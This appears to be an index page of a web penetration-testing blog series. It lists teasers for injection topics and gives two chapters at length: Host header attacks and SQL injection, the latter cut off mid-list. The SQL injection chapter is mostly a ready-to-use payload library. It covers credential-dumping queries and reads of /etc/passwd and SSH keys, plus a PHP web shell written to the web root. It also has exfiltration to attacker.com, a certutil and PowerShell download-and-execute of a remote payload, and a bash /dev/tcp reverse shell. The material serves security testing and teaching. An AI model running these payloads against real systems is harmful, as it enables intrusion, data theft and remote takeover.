Blind XSS: Detection, Delivery & Exfiltration

Blind XSS: Detection, Delivery & Exfiltration Severity: Critical (targets privileged users) CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet What Is Blind XSS? Blind XSS is a subtype of stored XSS where the payload fires in a context you cannot directly observe: an admin panel, an internal log viewer, a support dashboard, a PDF report renderer, or an email client. You inject it and wait β€” when the privileged user loads the page, you receive a callback. ...

February 24, 2026 Β· 7 min Β· MrAzoth

Client-Side Template Injection (CSTI)

Client-Side Template Injection (CSTI) Severity: High | CWE: CWE-79, CWE-94 OWASP: A03:2021 – Injection What Is CSTI? Client-Side Template Injection occurs when user input is interpolated directly into a client-side template engine (AngularJS, Vue.js, Handlebars, Mavo, etc.) without sanitization. Unlike XSS where you inject HTML/JS directly, CSTI injects template syntax that the framework itself evaluates β€” often bypassing XSS filters that sanitize HTML but not template delimiters. AngularJS app renders: <div ng-app>Hello {{username}}</div> Username = "{{7*7}}" Rendered: Hello 49 ← template evaluated β†’ CSTI confirmed Escalate: username = "{{constructor.constructor('alert(1)')()}}" CSTI is particularly powerful against apps that use AngularJS with ng-app on a wide DOM scope β€” because the AngularJS sandbox escape gives full JavaScript execution. ...

February 24, 2026 Β· 6 min Β· MrAzoth

DOM XSS: Source-to-Sink Tracing & Encoding Bypass

DOM XSS: Source-to-Sink Tracing & Encoding Bypass Severity: High | CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Why DOM XSS Evades Server-Side Sanitization The payload never reaches the server. It goes from a URL source (e.g., location.hash) directly to a dangerous sink (e.g., innerHTML) entirely in browser JavaScript. Server-side sanitization, WAFs inspecting HTTP traffic, and traditional scanners all miss it. The attack surface is the JavaScript code itself β€” you must read it. ...

February 24, 2026 Β· 6 min Β· MrAzoth

Expression Language Injection (EL / SpEL)

Expression Language Injection (EL / SpEL) Severity: Critical | CWE: CWE-917 OWASP: A03:2021 – Injection What Is Expression Language Injection? Expression Language (EL) is used in Java-based frameworks to bind data between UI and business logic. When user input is evaluated as an EL expression, the attacker gains access to the full Java runtime β€” leading to RCE. Two distinct attack surfaces: Java EL (JSP/JSF/Jakarta EE): Used in ${...} and #{...} contexts in .jsp, .jsf, .xhtml files Evaluated server-side by the EL runtime (JUEL, Eclipse Mojarra, etc.) Access to Runtime, ProcessBuilder, class loading chain Spring SpEL (Spring Expression Language): ...

February 24, 2026 Β· 6 min Β· MrAzoth

GraphQL Injection

GraphQL Injection Severity: Critical | CWE: CWE-89, CWE-78, CWE-918 OWASP: A03:2021 – Injection What Is GraphQL Injection? GraphQL injection is distinct from GraphQL-level abuse (rate limiting, introspection, DoS β€” covered in Chapter 83). This chapter focuses on second-order injection through GraphQL resolvers: the SQL, command, SSTI, NoSQL, or SSRF payloads that flow through GraphQL arguments into backend systems that trust them. GraphQL arguments bypass many traditional WAF rules because: The payload is inside JSON with a GraphQL-specific syntax Nested fields and aliases obscure the injection point GraphQL variables allow multi-step payload delivery Batch/alias attacks multiply the injection surface GraphQL injection path: { users(search: "' OR '1'='1") { id email } } ↓ Resolver: db.query(`SELECT * FROM users WHERE name = '${args.search}'`) ↓ SQL injection via resolver argument Discovery Checklist Phase 1 β€” Enumerate Injection Points ...

February 24, 2026 Β· 8 min Β· MrAzoth

Host Header Attacks

Host Header Attacks Severity: High–Critical | CWE: CWE-20, CWE-601 OWASP: A05:2021 – Security Misconfiguration What Are Host Header Attacks? The HTTP Host header tells the server which virtual host to serve. Applications that trust Host blindly for link generation, password reset emails, routing, or cache keying are vulnerable. Manipulation leads to: password reset poisoning, cache poisoning, SSRF, routing bypass, and XSS. GET /reset-password?token=abc123 HTTP/1.1 Host: attacker.com ← injected App sends email: "Click: https://attacker.com/reset?token=abc123" Victim clicks β†’ attacker receives token β†’ account takeover Discovery Checklist Modify Host: to an attacker-controlled domain β€” check if reflected in response/emails Test X-Forwarded-Host:, X-Host:, X-Forwarded-Server:, X-HTTP-Host-Override: Test with port appended: Host: target.com:evil.com Test password reset flow with poisoned Host header Check if Host is used to generate absolute URLs in HTML/JSON responses Test cache poisoning via unkeyed Host header Test with duplicate Host: headers Test absolute-form request URI with different Host header Test routing bypass to internal services via Host manipulation Test X-Forwarded-For + X-Real-IP for IP-based auth bypass Check for SSRF via Host header (internal service routing) Payload Library Attack 1 β€” Password Reset Poisoning # Step 1: Request password reset for victim account # Step 2: Intercept request, modify Host header to attacker-controlled domain POST /forgot-password HTTP/1.1 Host: attacker.com ← poisoned Content-Type: application/x-www-form-urlencoded email=victim@corp.com # App generates: https://attacker.com/reset?token=VICTIM_TOKEN # Victim receives email, clicks link β†’ token delivered to attacker.com # Attacker uses token to reset victim's password # Alternative override headers to test: POST /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com ← many frameworks prefer this POST /forgot-password HTTP/1.1 Host: target.com X-Host: attacker.com POST /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Server: attacker.com # Via port injection β€” Host: target.com:@attacker.com # Some parsers treat :@ as userinfo separator Host: target.com:@attacker.com Attack 2 β€” Web Cache Poisoning via Host Header # If cache key doesn't include Host header (unkeyed header): GET / HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com # App generates response with: # <script src="https://attacker.com/app.js"></script> # Cache stores this under the key for target.com/ # All subsequent users get the poisoned response (XSS) # Or via Host header directly if cache doesn't normalize: GET / HTTP/1.1 Host: attacker.com # Check if X-Cache: HIT on second request β†’ cached with poisoned Host curl -s -I https://target.com/ -H "X-Forwarded-Host: attacker.com" | grep -i "x-cache\|location" Attack 3 β€” Routing to Internal Services # Virtual host routing β€” different Host routes to different backend: # Normal: Host: target.com β†’ public app # Internal: Host: internal.admin β†’ admin panel GET /admin HTTP/1.1 Host: internal.admin # If proxy routes by Host header and doesn't enforce allowlist: # β†’ May access internal admin panel # Try common internal Host values: Host: localhost Host: 127.0.0.1 Host: internal Host: admin Host: admin.target.com Host: internal.target.com Host: staging.target.com Host: dev.target.com # Absolute request URI bypass: GET http://internal.service/admin HTTP/1.1 Host: target.com # The absolute URI takes precedence over Host in some proxies Attack 4 β€” Duplicate Host Header # Some servers use first Host, some use last, some concatenate: GET / HTTP/1.1 Host: target.com Host: attacker.com # Test which value is reflected in response or used for routing # WAF may check first, app may use second # Host header with double value (inline): Host: target.com, attacker.com Host: target.com attacker.com # space-separated Attack 5 β€” SSRF via Host Header # If server uses Host header to make server-side requests: GET / HTTP/1.1 Host: 169.254.169.254 # AWS metadata GET / HTTP/1.1 Host: internal-api:8080 # internal service GET / HTTP/1.1 Host: collaborator.oast.pro # OOB detection # With port manipulation: Host: target.com:80@169.254.169.254 # userinfo injection Attack 6 β€” X-Forwarded-For IP Bypass # Bypass IP-based restrictions (admin panel requires 127.0.0.1): GET /admin HTTP/1.1 Host: target.com X-Forwarded-For: 127.0.0.1 GET /admin HTTP/1.1 Host: target.com X-Real-IP: 127.0.0.1 GET /admin HTTP/1.1 Host: target.com X-Originating-IP: 127.0.0.1 GET /admin HTTP/1.1 Host: target.com Client-IP: 127.0.0.1 GET /admin HTTP/1.1 Host: target.com True-Client-IP: 127.0.0.1 GET /admin HTTP/1.1 Host: target.com Forwarded: for=127.0.0.1;by=127.0.0.1;host=target.com # Bypass rate limits β€” change IP per request: X-Forwarded-For: 1.2.3.4 # rotate through IPs X-Forwarded-For: 10.0.0.1 Tools # Burp Suite: # - Proxy β†’ all requests β†’ add/modify Host header # - Repeater for manual testing # - Param Miner extension (BApp): discovers unkeyed headers including Host variants # - Active Scan for Host header injection # Param Miner (Burp extension): # Right-click request β†’ Extensions β†’ Param Miner β†’ Guess Headers # Automatically discovers reflected/unkeyed headers # curl with custom Host: curl -s -H "Host: attacker.com" https://target.com/ | grep -i "attacker" curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/ | grep -i "attacker" # Check password reset email generation: # Use Burp Collaborator as Host value, trigger password reset, # check Collaborator for incoming DNS/HTTP (confirms Host is used in email) # Test all override headers at once: for header in "X-Forwarded-Host" "X-Host" "X-HTTP-Host-Override" \ "X-Forwarded-Server" "X-Original-Host"; do echo "Testing: $header" curl -s -H "$header: attacker.oast.pro" https://target.com/ | \ grep -i "attacker" | head -2 done # Collaborator-based detection: # Set Host to your Collaborator ID, trigger various actions, # monitor for DNS/HTTP callbacks Remediation Reference Hardcode the expected hostname: configure web framework with ALLOWED_HOSTS (Django), server_name (Nginx), ServerName (Apache) β€” reject any other Host value Never trust X-Forwarded-Host for URL generation unless behind a known trusted proxy Generate absolute URLs from configuration, not from the request’s Host header Cache key discipline: ensure Host (and override headers) are either in cache key or stripped before caching IP allowlist enforcement: don’t rely solely on X-Forwarded-For for IP-based access control β€” verify at network layer Password reset links: use relative paths or server-configured base URL β€” never construct from Host header Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 5 min Β· MrAzoth

HTTP Header Injection / Response Splitting

HTTP Header Injection / Response Splitting Severity: High | CWE: CWE-113, CWE-74 OWASP: A03:2021 – Injection What Is HTTP Header Injection? HTTP header injection occurs when user-controlled data is inserted into HTTP response headers without proper sanitization. CRLF sequences (\r\n / %0d%0a) terminate the current header and inject new ones β€” enabling response splitting, cache poisoning, session fixation, and XSS via injected HTML body. Vulnerable redirect: Location: https://target.com/redirect?url=USER_INPUT Injected input: attacker.com\r\nSet-Cookie: session=EVIL Response becomes: HTTP/1.1 302 Found Location: https://target.com/redirect?url=attacker.com Set-Cookie: session=EVIL ← injected new header Response Splitting (HTTP/1.1): inject \r\n\r\n to terminate headers and start injected body: ...

February 24, 2026 Β· 5 min Β· MrAzoth

HTTP Parameter Pollution (HPP)

HTTP Parameter Pollution (HPP) Severity: Medium–High | CWE: CWE-235, CWE-20 OWASP: A03:2021 – Injection | A01:2021 – Broken Access Control What Is HTTP Parameter Pollution? HTTP Parameter Pollution exploits the inconsistent behavior of web servers and application frameworks when handling duplicate parameter names in HTTP requests. When ?id=1&id=2 is received, different technologies resolve the conflict differently β€” and the attacker can exploit the gap between what the WAF/front-end sees and what the back-end application processes. ...

February 24, 2026 Β· 8 min Β· MrAzoth

IMAP/SMTP Header Injection

IMAP/SMTP Header Injection Severity: Medium–High | CWE: CWE-93, CWE-20 OWASP: A03:2021 – Injection What Is Mail Injection? Mail injection occurs when user-controlled data is inserted into email headers (To, CC, BCC, Subject, From) or SMTP commands without sanitization. A CRLF sequence (\r\n) in an email header terminates the current header and injects new headers β€” allowing attackers to: Add BCC recipients β€” send to arbitrary addresses (spam amplification) Inject additional To/CC β€” mass mailing abuse Override From β€” phishing from trusted domain Inject SMTP commands β€” in raw SMTP injection scenarios Add arbitrary headers β€” X-Mailer manipulation, content injection IMAP injection targets IMAP protocol commands when user input is interpolated into IMAP queries (less common, covered in Phase 2). ...

February 24, 2026 Β· 6 min Β· MrAzoth

Integer Overflow, Type Juggling & Type Confusion

Integer Overflow, Type Juggling & Type Confusion Severity: Medium–Critical | CWE: CWE-190, CWE-843, CWE-704 OWASP: A03:2021 – Injection | A04:2021 – Insecure Design What Are These Vulnerabilities? Three related but distinct classes of numeric/type confusion vulnerabilities in web applications: Integer Overflow: arithmetic wraps around when exceeding the integer type’s maximum value. Common in C extensions, Go, Rust FFI, and server-side quantity/price calculations. PHP Type Juggling: PHP’s loose comparison (==) coerces types before comparing β€” "0e12345" == "0e67890" is true (both are scientific notation for 0), 0 == "anything_non_numeric" is true in PHP < 8, "1" == true is true. ...

February 24, 2026 Β· 10 min Β· MrAzoth

LDAP Injection

LDAP Injection Severity: High–Critical | CWE: CWE-90 OWASP: A03:2021 – Injection What Is LDAP Injection? LDAP (Lightweight Directory Access Protocol) is used for authentication and directory lookup in enterprise environments β€” Active Directory, OpenLDAP, Oracle Directory Server. LDAP injection occurs when user input is inserted into LDAP filter queries without sanitization, allowing filter logic manipulation. LDAP filter syntax: (&(uid=USERNAME)(password=PASSWORD)) ← AND: both must match Injection: Username: admin)(& Filter becomes: (&(uid=admin)(&)(password=anything)) ↑ always-true subfilter β†’ auth bypass Two attack modes: ...

February 24, 2026 Β· 7 min Β· MrAzoth

Log Injection & Log4Shell Pattern

Log Injection & Log4Shell Pattern Severity: Critical | CWE: CWE-117, CWE-74 OWASP: A03:2021 – Injection | A06:2021 – Vulnerable and Outdated Components What Is Log Injection / Log4Shell Pattern? Log Injection β€” embedding control characters or escape sequences in log entries to corrupt log files, inject fake entries, or exploit log viewers. Log4Shell pattern β€” when a logging library performs JNDI lookups on log messages, attacker-controlled strings like ${jndi:ldap://attacker.com/x} trigger remote code execution. While Log4j2 was the major case, the JNDI injection pattern extends to any Java logging that interpolates log data. ...

February 24, 2026 Β· 4 min Β· MrAzoth

NoSQL Injection

NoSQL Injection Severity: Critical | CWE: CWE-943 OWASP: A03:2021 – Injection What Is NoSQL Injection? NoSQL databases (MongoDB, CouchDB, Redis, Cassandra, Elasticsearch) use query languages different from SQL β€” often JSON/BSON objects or key-value structures. Injection occurs when user input is interpreted as query operators rather than data. MongoDB is the most commonly exploited. SQL analog: SELECT * FROM users WHERE user = 'admin' AND pass = 'INJECTED'; MongoDB analog (operator injection): db.users.find({ user: "admin", pass: {$gt: ""} }) // $gt: "" β†’ password > empty string β†’ matches any non-empty password Two main injection styles: ...

February 24, 2026 Β· 6 min Β· MrAzoth

Open Redirect

Open Redirect Severity: Medium–High | CWE: CWE-601 OWASP: A01:2021 – Broken Access Control What Is Open Redirect? An open redirect occurs when an application uses user-controlled input to construct a redirect URL without proper validation. Direct impact is limited (phishing), but open redirects are critical as chain links for OAuth token theft, SSRF bypass, and CSP bypass. https://trusted.com/redirect?url=https://attacker.com/phishing ↑ User trusts trusted.com domain in URL bar β†’ follows redirect β†’ lands on attacker site High-impact chains: ...

February 24, 2026 Β· 5 min Β· MrAzoth

OS Command Injection

OS Command Injection Severity: Critical CWE: CWE-78 OWASP: A03:2021 – Injection What Is Command Injection? OS Command Injection occurs when an application passes user-controlled data to a system shell (or equivalent OS execution function) without adequate sanitization. The attacker’s input is interpreted as shell commands rather than data β€” resulting in arbitrary code execution with the same privileges as the web server process. Even a single injectable parameter can result in full server compromise: credential harvesting, lateral movement, persistent access, data exfiltration. ...

February 24, 2026 Β· 8 min Β· MrAzoth

Reflected XSS: Bypass & Encoding Arsenal

Reflected XSS: Bypass & Encoding Arsenal Severity: High | CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet How Sanitization Works β€” Read This First Before throwing payloads, understand what the filter does. Send this canary and read the raw response: Probe: '<>"/;`&=(){}[] Map each character: Character Encoded to Filter type < β†’ &lt; HTML encode htmlspecialchars / HtmlEncode < β†’ removed Strip strip_tags / regex replace < β†’ %3C URL encode URL filter on reflected param unchanged Nothing Vulnerable directly Encoding layers in a real app: ...

February 24, 2026 Β· 7 min Β· MrAzoth

Server-Side Includes (SSI) Injection

Server-Side Includes (SSI) Injection Severity: High–Critical | CWE: CWE-97 OWASP: A03:2021 – Injection What Is SSI Injection? Server-Side Includes are directives embedded in HTML files that the web server processes before sending the response. When user input is reflected in .shtml, .shtm, .stm, or SSI-enabled pages without sanitization, injected directives execute with web-server privileges. Apache SSI directive syntax: <!--#directive param="value" --> IIS SSI directive syntax: <!--#include file="..." --> Injected: <!--#exec cmd="id" --> β†’ server executes 'id' and includes output SSI is underrated in modern apps because: ...

February 24, 2026 Β· 5 min Β· MrAzoth

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) Severity: Critical CWE: CWE-94 OWASP: A03:2021 – Injection What Is SSTI? Server-Side Template Injection occurs when user input is embedded unsanitized into a template that is then rendered server-side. Unlike XSS (where input is reflected in HTML), SSTI input is processed by the template engine itself β€” meaning arbitrary expressions, object traversal, and in most cases, OS command execution. The severity is almost always critical: most template engines provide access to the underlying language runtime, and sandbox escapes are well-documented for every major engine. ...

February 24, 2026 Β· 9 min Β· MrAzoth

SQL Injection (SQLi)

SQL Injection (SQLi) Severity: Critical CWE: CWE-89 OWASP: A03:2021 – Injection What Is SQL Injection? SQL Injection occurs when user-supplied data is embedded into a SQL query without proper sanitization, allowing an attacker to manipulate the query’s logic. The impact ranges from authentication bypass to full database dump, file read/write, and OS command execution β€” depending on the database engine and configuration. Injection Classes at a Glance Type Data Returned Detection Error-based Error messages reveal DB info Syntax errors visible in response Union-based Data returned in response body ORDER BY / UNION technique Boolean-based blind True/False behavioral difference Response size or content change Time-based blind No output β€” only timing SLEEP() / WAITFOR DELAY Out-of-Band (OOB) DNS/HTTP exfiltration Collaborator / interactsh Second-order Payload stored, executed later Multi-step flows Stacked queries Execute multiple statements Depends on DB driver support Attack Surface Map Entry Points to Test # URL parameters: /items?id=1 /search?q=admin /user?name=john&sort=id # POST body (form, JSON, XML): {"username":"admin","password":"pass"} username=admin&password=pass # HTTP headers: User-Agent: Mozilla/5.0 Referer: https://site.com/page X-Forwarded-For: 127.0.0.1 Cookie: session=abc; user_id=1 X-Custom-Header: value # REST paths: /api/users/1 /api/product/electronics/laptop # Search & filter fields # Order/sort parameters # Pagination: limit, offset, page # File names in download endpoints # GraphQL variables that hit SQL backend # XML / SOAP bodies # WebSocket messages Discovery Checklist Phase 1 β€” Passive Identification Map all parameters that interact with the server (URL, body, headers, cookies) Identify parameters that clearly reflect data from a database (user info, products, results) Note parameters used for filtering, ordering, searching, or paginating Check if numeric parameters can be replaced with expressions (1+1, 2-1) Identify multi-step flows where input stored in step 1 is used in a query in step 2 (second-order) Review JavaScript for client-side constructed query strings sent to API Look for verbose error messages (stack traces, DB errors, query fragments) Phase 2 β€” Active Detection Inject a single quote ' β€” observe error vs no error Inject '' (escaped quote) β€” does the response return to normal? Inject 1 AND 1=1 vs 1 AND 1=2 β€” boolean difference? Inject 1 OR 1=1 β€” does result set expand? Inject 1; SELECT SLEEP(5) β€” does response delay? Inject comment sequences: --, #, /**/, /*!*/ Try numeric context: 1+1 returns same as 2? Inject ORDER BY 1, ORDER BY 100 β€” error on high number reveals column count Try UNION SELECT NULL with increasing NULLs until no error Test string context: ' OR '1'='1 Test time-based in all parameters including headers and cookies Phase 3 β€” Confirm & Escalate Determine injectable context (string, numeric, identifier) Determine database engine (error messages, behavior, functions) Find column count via ORDER BY Find printable columns via UNION SELECT NULL,NULL,... Extract DB version, current user, current database Enumerate databases β†’ tables β†’ columns β†’ data Check for FILE privileges (MySQL: LOAD_FILE, INTO OUTFILE) Check for xp_cmdshell (MSSQL) Test OOB exfiltration (DNS via load_file, UTL_HTTP, xp_dirtree) Test stacked queries for write/exec capabilities Payload Library Section 1 β€” Detection & Syntax Break -- Basic quote injection: ' '' ` ') " ')) ")) -- Comment terminators: ' -- ' # ' /* '/**/-- '/*!--*/ -- Numeric context: 1 AND 1=1 1 AND 1=2 1 OR 1=1 1 OR 1=2 -- Always-true / always-false: ' OR '1'='1 ' OR '1'='2 ' OR 1=1-- ' OR 1=2-- -- Expression injection (confirms evaluation): 1+1 -- should behave like 2 1*1 9-8 -- Nested quotes: '''' ''||'' Section 2 β€” Column Count (ORDER BY) ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ORDER BY 100-- -- triggers error when > actual column count ORDER BY 1,2,3-- ORDER BY 1 ASC-- ORDER BY 1 DESC-- -- With URL encoding: ' ORDER BY 1-- -- standard ' ORDER BY 1%23 -- # encoded ' ORDER BY 1%2f%2a -- /* encoded Section 3 β€” Union-Based Extraction -- Find number of columns (increase NULLs until no error): ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- -- Find printable columns (replace NULL one at a time with string): ' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL-- ' UNION SELECT NULL,NULL,'a'-- -- Extract data (MySQL): ' UNION SELECT 1,version(),3-- ' UNION SELECT 1,user(),3-- ' UNION SELECT 1,database(),3-- ' UNION SELECT 1,@@datadir,3-- ' UNION SELECT 1,@@version_compile_os,3-- ' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- ' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT 1,group_concat(username,':',password),3 FROM users-- -- PostgreSQL: ' UNION SELECT NULL,version(),NULL-- ' UNION SELECT NULL,current_database(),NULL-- ' UNION SELECT NULL,current_user,NULL-- ' UNION SELECT NULL,string_agg(datname,','),NULL FROM pg_database-- ' UNION SELECT NULL,string_agg(tablename,','),NULL FROM pg_tables WHERE schemaname='public'-- ' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT NULL,string_agg(username||':'||password,','),NULL FROM users-- -- MSSQL: ' UNION SELECT NULL,@@version,NULL-- ' UNION SELECT NULL,db_name(),NULL-- ' UNION SELECT NULL,user_name(),NULL-- ' UNION SELECT NULL,(SELECT STRING_AGG(name,',') FROM master.dbo.sysdatabases),NULL-- ' UNION SELECT NULL,(SELECT STRING_AGG(name,',') FROM sysobjects WHERE xtype='U'),NULL-- -- Oracle: ' UNION SELECT NULL,banner,NULL FROM v$version-- ' UNION SELECT NULL,user,NULL FROM dual-- ' UNION SELECT NULL,(SELECT listagg(table_name,',') WITHIN GROUP (ORDER BY 1) FROM all_tables WHERE owner='APPS'),NULL FROM dual-- Section 4 β€” Error-Based Extraction MySQL Error-Based -- extractvalue (returns value in error message): ' AND extractvalue(1,concat(0x7e,version()))-- ' AND extractvalue(1,concat(0x7e,database()))-- ' AND extractvalue(1,concat(0x7e,user()))-- ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))-- ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,':',password) FROM users)))-- -- updatexml: ' AND updatexml(1,concat(0x7e,version()),1)-- ' AND updatexml(1,concat(0x7e,(SELECT password FROM users WHERE username='admin' LIMIT 1)),1)-- -- floor/rand (old but reliable): ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- PostgreSQL Error-Based -- cast to int: ' AND 1=cast(version() as int)-- ' AND 1=cast((SELECT password FROM users LIMIT 1) as int)-- -- substring trick: ' AND 1=1/(SELECT 1 FROM (SELECT substring(username,1,1) FROM users LIMIT 1) x WHERE x.substring='a')-- MSSQL Error-Based -- convert: ' AND 1=convert(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- ' AND 1=convert(int,@@version)-- -- cast: ' AND 1=cast((SELECT TOP 1 password FROM users) as int)-- Oracle Error-Based -- utl_inaddr (DNS lookup β€” triggers error with data): ' AND 1=utl_inaddr.get_host_address((SELECT version FROM v$instance))-- -- XMLType: ' AND 1=(SELECT UPPER(XMLType(chr(60)||chr(58)||version||chr(62))) FROM v$instance)-- Section 5 β€” Boolean-Based Blind -- Confirm boolean: ' AND 1=1-- -- true: same as normal response ' AND 1=2-- -- false: different/empty response -- Extract data char by char: ' AND SUBSTRING(version(),1,1)='5'-- ' AND SUBSTRING(version(),1,1)='8'-- ' AND ASCII(SUBSTRING(version(),1,1))>50-- ' AND ASCII(SUBSTRING(version(),1,1))=56-- -- binary search -- Extract DB name: ' AND SUBSTRING(database(),1,1)='a'-- ' AND LENGTH(database())=5-- -- Check if table exists: ' AND (SELECT COUNT(*) FROM users)>0-- ' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='admin_users')>0-- -- Check if row exists: ' AND (SELECT COUNT(*) FROM users WHERE username='admin')=1-- -- Extract password of admin: ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -- PostgreSQL boolean: ' AND SUBSTR(version(),1,1)='P'-- ' AND (SELECT COUNT(*) FROM pg_tables WHERE tablename='users')>0-- Section 6 β€” Time-Based Blind -- MySQL: ' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND IF(1=2,SLEEP(5),0)-- -- no delay (false) ' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)-- -- delay if true ' AND IF(LENGTH(database())=10,SLEEP(5),0)-- -- PostgreSQL: '; SELECT pg_sleep(5)-- ' AND (SELECT 1 FROM pg_sleep(5))-- ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)-- ' AND (SELECT CASE WHEN SUBSTR(version(),1,1)='P' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -- MSSQL: '; WAITFOR DELAY '0:0:5'-- ' AND IF(1=1) WAITFOR DELAY '0:0:5'-- '; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'-- -- Oracle: ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- ' AND (SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM DUAL)=1-- -- SQLite: ' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))-- -- heavy computation delay Section 7 β€” Out-of-Band (OOB) Exfiltration -- MySQL (requires FILE privilege): ' AND LOAD_FILE(concat('\\\\',version(),'.',user(),'.attacker.com\\share'))-- ' AND LOAD_FILE(concat(0x5c5c5c5c,version(),0x2e,database(),0x2e,0x6174746163b6572,0x2e636f6d5c5c61))-- -- MSSQL (xp_dirtree β€” DNS OOB): '; EXEC master..xp_dirtree '\\attacker.com\share'-- '; EXEC master..xp_fileexist '\\attacker.com\share'-- ' AND 1=(SELECT 1 FROM OPENROWSET('SQLOLEDB','server=attacker.com;uid=sa;pwd=sa','SELECT 1'))-- -- MSSQL (DNS exfil with data): '; DECLARE @q NVARCHAR(1000); SET @q='\\'+@@version+'.attacker.com\share'; EXEC xp_dirtree @q-- -- Oracle (UTL_HTTP): ' AND 1=(SELECT UTL_HTTP.REQUEST('http://attacker.com/'||user) FROM DUAL)-- -- Oracle (UTL_FILE / DNS): ' AND 1=(SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM DUAL)||'.attacker.com') FROM DUAL)-- -- PostgreSQL (COPY): '; COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?d=$(version)'-- '; CREATE TABLE tmp(data text); COPY tmp FROM PROGRAM 'curl -s http://attacker.com/'-- Section 8 β€” Stacked Queries & File R/W MySQL File Read/Write -- Read file (requires FILE privilege): ' UNION SELECT LOAD_FILE('/etc/passwd')-- ' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- ' UNION SELECT LOAD_FILE('/root/.ssh/id_rsa')-- -- Write file (requires FILE + write permissions): ' UNION SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'-- ' UNION SELECT '' INTO DUMPFILE '/var/www/html/shell.php'-- -- Write with newlines encoded: ' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b3f3e INTO OUTFILE '/var/www/html/shell.php'-- MSSQL xp_cmdshell -- Enable xp_cmdshell (requires sysadmin): '; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -- Execute OS command: '; EXEC xp_cmdshell 'whoami'-- '; EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe && C:\shell.exe'-- -- Read file via xp_cmdshell: '; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- -- MSSQL reverse shell via PowerShell: '; EXEC xp_cmdshell 'powershell -c "iex(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"'-- PostgreSQL RCE -- COPY TO PROGRAM (PostgreSQL 9.3+, requires superuser): '; COPY (SELECT '') TO PROGRAM 'id > /tmp/out'-- '; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'-- -- Large object execution: '; SELECT lo_import('/etc/passwd')-- '; SELECT lo_export(16384,'/var/www/html/shell.php')-- -- Extension loading (superuser): '; CREATE EXTENSION IF NOT EXISTS plpython3u;-- '; CREATE OR REPLACE FUNCTION sys(cmd TEXT) RETURNS TEXT AS $$ import subprocess; return subprocess.getoutput(cmd) $$ LANGUAGE plpython3u;-- '; SELECT sys('id');-- Section 9 β€” WAF Bypass Techniques Comment Injection (break keywords) -- MySQL inline comments: UN/**/ION SEL/**/ECT UN/*!50000ION*/ SELECT UNION/*bypass*/SELECT SEL/**/ECT 1,2,3 -- Equivalent comments: '/**/OR/**/1=1-- '/*!OR*/1=1-- -- Version-specific bypass: /*!UNION*//*!SELECT*/1,2,3-- Case & Encoding Bypasses -- Case variation: uNiOn SeLeCt UnIoN SeLeCT UNION%20SELECT -- URL encoding: %55NION%20%53ELECT UNION%0aSELECT -- newline instead of space UNION%09SELECT -- tab instead of space UNION%0cSELECT -- form feed -- Double URL encode: %2555NION%2520SELECT -- HTML entity (when input reflected in HTML context): &#85;NION &#83;ELECT Space Substitution -- Replace spaces with: UNION/**/SELECT UNION%09SELECT -- tab UNION%0aSELECT -- newline UNION%0cSELECT -- form feed UNION%0dSELECT -- carriage return UNION%a0SELECT -- non-breaking space UNION(1) -- parentheses (some contexts) String Bypass (when quotes filtered) -- Hex encoding: SELECT 0x61646d696e -- 'admin' WHERE username=0x61646d696e -- char() function: WHERE username=char(97,100,109,105,110) -- MySQL WHERE username=chr(97)||chr(100)||chr(109)||chr(105)||chr(110) -- PostgreSQL/Oracle -- concat: WHERE username=concat(char(97),char(100),char(109)) -- Dynamic query: '; EXEC('SEL'+'ECT * FROM users')-- -- MSSQL string concat -- Bypass with LIKE/wildcard: WHERE username LIKE 0x61646d696e Filter Bypass for Specific Keywords -- "UNION" blocked: UNiOn, UnIoN, UNION/**/, 